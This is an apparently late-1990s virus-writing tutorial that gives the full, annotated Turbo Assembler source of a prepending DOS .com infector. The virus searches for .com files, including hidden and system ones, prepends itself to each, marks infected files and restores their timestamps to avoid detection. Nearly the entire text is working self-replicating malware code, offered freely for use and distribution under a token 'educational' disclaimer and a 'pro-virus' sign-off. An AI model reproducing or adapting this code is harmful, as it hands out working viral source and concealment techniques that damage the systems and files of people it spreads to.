Vircom 1 ~ Prepending Com Infectors


[note 1]

This material is not to be used as a tool of destruction. I assembled this information as an educational resource and I would like to see it used that way.

[note 2]

In this tutorial I will cover the specifics of com infection. This is by no means a tutorial on assembler. Some working knowledge of assembly language will be required to fully understand this material.

[note 3]

This file is assembled with these switches.

TASM /M VIRCOM
TLINK /T VIRCOM

[note 4]

Written for Turbo Assembler, 80286 or better

[note 5]

Author assumes no responsibility for damage you may... [blahblahblah]




In Theory

The idea here is to add our virus code to the beginning of .com files, without destroying the original file, and restore it after the virus is done, so it can be run normally. Sound simple? It is!

  1. Move the virus to a "safe location" to run from.
  2. Restore our host to xxxx:0100 for execution.
  3. Find a new host to infect.
  4. Copy new host into memory at end of virus.
  5. Write virus + new host to disk.
  6. Jump to our host at original cs:0100h
Still sound simple? good...

In Practice

First thing we will need to do is relocate the virus code in memory. DOS memory is much like a book, with pages and lines. The difference is that we call our pages "segments" and our letters are "bytes". Each segment is a 64k block of memory, and each offset points to a specific byte within that segment. Any byte in memory can be address in the form of two 16-bit values like this 04f6:0100 (segment:offset). So, in order to move our code, we will point ds:si to the seg:off of the virus code, and es:di to where we are gonna put it. In this case we need to make sure we copy the virus to the same offset location for proper execution.

.model tiny				;crap for the assembler

.code
	org	100h			;all com files load at cs:0100h
size	equ	offset eov - offset begin ;calculate virus size
begin:

	call	entry			;jump past marker byte

	db	'F'			;marker 

entry:

	push	cs			;store cs

	pop	ax			;ax = cs

	add	ax,	1000h		;add 1000h to cs

	push	ax			;and put it

	pop	es			;in es

	mov	cx,	size		;number of bytes to copy

	lea	si,	[begin]		;point si to beginning of virus

	lea	di,	[begin]		;and destination at same offset

	repnz	movsb			;move the bytes
The next piece of code simply creates a far jump to the code we just

moved into higher memory.
	push	es

	pop	word ptr[jmpseg]	;save segment value for jump

	lea	cx,	[virus]		;cx = offset to continue from

	mov	word ptr[jmpoff],cx	;save offset for jump

	push	cs	cs		;save code segment
This is the far jump we will use to jump between code segments.  0EAh

is the far jump opcode and the four bytes following are the segment

and offset of destination.  The address will be written in as needed.

(like above)
jump:

	db	0eah			;opcode for a far jump

jmpoff	dw	0000h			;offset of jump

jmpseg	dw	0000h			;segment of jump

Now that we have gotten this far, we have moved ahead in memory, and

stored the original code segment on the stack twice.  The next thing

to do is restore our host.  This can done almost exactly the same as

moving the virus, except that this time we will point es and ds both

to the original code segment, and set si to the beginning of the host

(at end of the virus), and di to the initial entry point at cs:0100h.



virus:

	pop	es	ds		;original cs into es and ds

	lea	si,	[eov]		;si = host

	mov	di,	0100h		;di = entry point

	mov	cx,	0ffffh		;number of bytes to move

	sub	cx,	size

	repnz	movsb			;move those bytes
The rest of what we are going to do for a while is only going to 

involve the current segment, so we set DS and ES to the current

code segment value.

	
	push	cs	cs

	pop	ds	es
Now we will set a new DTA so that we will not destroy the data in

our host's dta.

	
	mov	ah,	1ah		;DOS command to set dta

	lea	dx,	[dta]		;ds:dx = seg:off of new dta

	int	21h			;call DOS
Before we can infect a file, we have to find one.  This is done using

int 21h ah = 4eh, and 4fh.  To find the first we use 4eh, next is 4fh.

The file to look for must be an asciz value slored at a location 

pointed to by ds:dx. CX must contain the attributes the file may have.

00 = normal file, we will use 07h, it finds hidden/system/read only.

And for a filename to look for, we will use wilcard *.com to find

any com file.
	mov	ah,	4eh		;DOS command to find first file

	mov	cx,	07h		;attribs to look for

	lea	dx,	[fmask]		;ds:dx = file name to find

	int	21h			;call DOS

	jc	done			;if no file is found, we send

					;control on to the host file
The file handle we just found was stored in the dta at offset 01eh 

from the start of the dta so we must load dx with [dta+01eh], and

load ax with 3d02h to open it with read/write access.
open:

	mov	ax,	3d02h		;3d is value for DOS function

					;"open", and 02h is for R/W 

	lea	dx,	[dta+01eh]	;file handle is here

	int	21h			;call DOS
From this function DOS returns the file handle in AX.  Next step is

to read the host file into our buffer to see if it is already infected

or if it is over 64k (in which case we cant infect it).  We need the

handle in BX, so first we exchange the values of ax and bx.
	xchg	bx,	ax
Before we change anything, we are gonna get and save the file's 

original time/date stamp so we can restore it.
	mov	ax,	5700h		;DOS command to get file's

					;time/date

	int	21h			;call DOS

	mov	word ptr [time],cx	;save time stamp

	mov	word ptr [time+2],dx	;save date stamp
The file handle is stored at BX, so we point ds:dx to the buffer where

we wanna read to, load cx with the number of bytes you wanna read.

The file size is stored in the DTA at offset 1ah from start of DTA.

We load that value into CX, and 3fh into ah for "read"
	mov	ah,	3fh		;DOS command to read from file

	push	word ptr [dta+1ah]	;file size is here

	pop	cx			;move it here

	push	cx			;and store it

	lea	dx,	[eov]	;ds:dx = read buffer

	int	21h			;call DOS
If the file is already infected, it will have an 'F' in the third byte.

If it is larger than 64k, the first two bytes will be 'MZ'. Either 

way, we will abandon the file, and go find the next, if one of these 

markers is present.
	cmp	word ptr [eov], 'ZM'	;is it an EXE in disguise?

	je	next			;if so, find the next file

	cmp	byte ptr [eov+3],'F';already infected?

	je	next			;if so, find the next file
If we are still here, then the file seems to qualify, so now we 

restore the file pointer to the beginning of the file and write

the virus + file combination to disk.
	mov	ax,	4200h		;DOS command to seek the 

					;start of file

	xor	dx,	dx		;zero bytes from beginning

	xor	cx,	cx		

	int	21h			;DOS

	mov	ah,	40h		;DOS command to write to file

	pop	cx			;cx = file size

	add	cx,	size		;add the virus size to the

					;number of bytes to write.

	lea	dx,	[begin]		;ds:dx = beginning of data to

					;write

	int	21h			;call DOS
Now, before we close this file, we need to restore the time/date.

stamp.  A bunch of com files all dated in the last week are will

surely reveal the virus, AND which files are infected.  We saved 

this info near the end of the virus.
	mov	cx,	word ptr [time]	;get the original time

	mov	dx,	word ptr [time+2];get the original date

	mov	ax,	5701		;DOS command to set file time

	int	21h			;call DOS
close the file...
	mov	ah,	3eh		;DOS command to close file

	int	21h			;call DOS
The infection process is done.  Now we clear out the registers, reset

the dta, and return control to the host program.

	
done:

	mov	ax,	0100h		;ax = 0100h

	push	ax			;

	pop	word ptr cs:[jmpoff]	;save 100h as offset for jump

	push	cs			;save code segment

	pop	ax			;ax = cs

	sub	ax,	1000h		;adjust ax to orig cs value

	push	ax	ax		;save it twice

	pop	es	ds		;ax = es = ds

	mov	ah,	1ah		;DOS command to set dta

	mov	dx,	80h		;ds:dx = orig cs:0080h

	int	21h			;DOS

	xor	dx,	dx		;dx = 00

	push	dx	dx		;save it twice

	pop	cx	bx		;cx = dx = bx

	push	ds			;save ds

	pop	word ptr cs:[jmpseg]	;as segment for jump

	jmp	dword ptr cs:[jmpoff]	;jump to host
This is the routine that will find another com file, if the first one

found is not a good candidate for infection. Same as the find first

routine, except that here ah = 4eh
next:

	mov	ah,	4fh		;DOS command to find next file

	mov	cx,	07h		;these attributes

	lea	dx,	[fmask]		;this file

	int	21h			;call DOS

	jc	done			;didnt find any? then quit

	jmp	open			;go to open it
fmask	db	'*.com',00h		;files to look for

dta	db	2ch 	dup (?)		;disk transfer address

time	dd	?			;stored file time/date
eov:					;This is where the host starts
	int	20h			;These two bytes get dropped

					;and replaced by the host

					;program

	end 	begin

Still sound simple?!? good... read my next article Vircom 2 ~Prepending exe's



In Retrospect

This virus is seriously lacking in the "accessories" department. I was merely showing a possible technique for appending to the beginning of files. I think alot can be done with it, like infecting exe's (next article), and memory resident, encryption...

This will be the first in a series of articles to be written based on this virus, and if you want to get the latest, email me, and I will send you updates as they are released. Actually, taking a second look back over the code, it seems that exe infection will be rather a minimal operation, so The next Issue will cover Encypted EXE prependers.

Remember, information is mean to be free, but not ripped. You are FREE to use and distribute this code, and any accompanying files, just leave credit be where credit belongs, and most of all...

~FEAR WHAT YOU HAVE CREATED~

email me at compkiller@hotmail.com

Pro-virus '99 [have you hugged yer virus today?]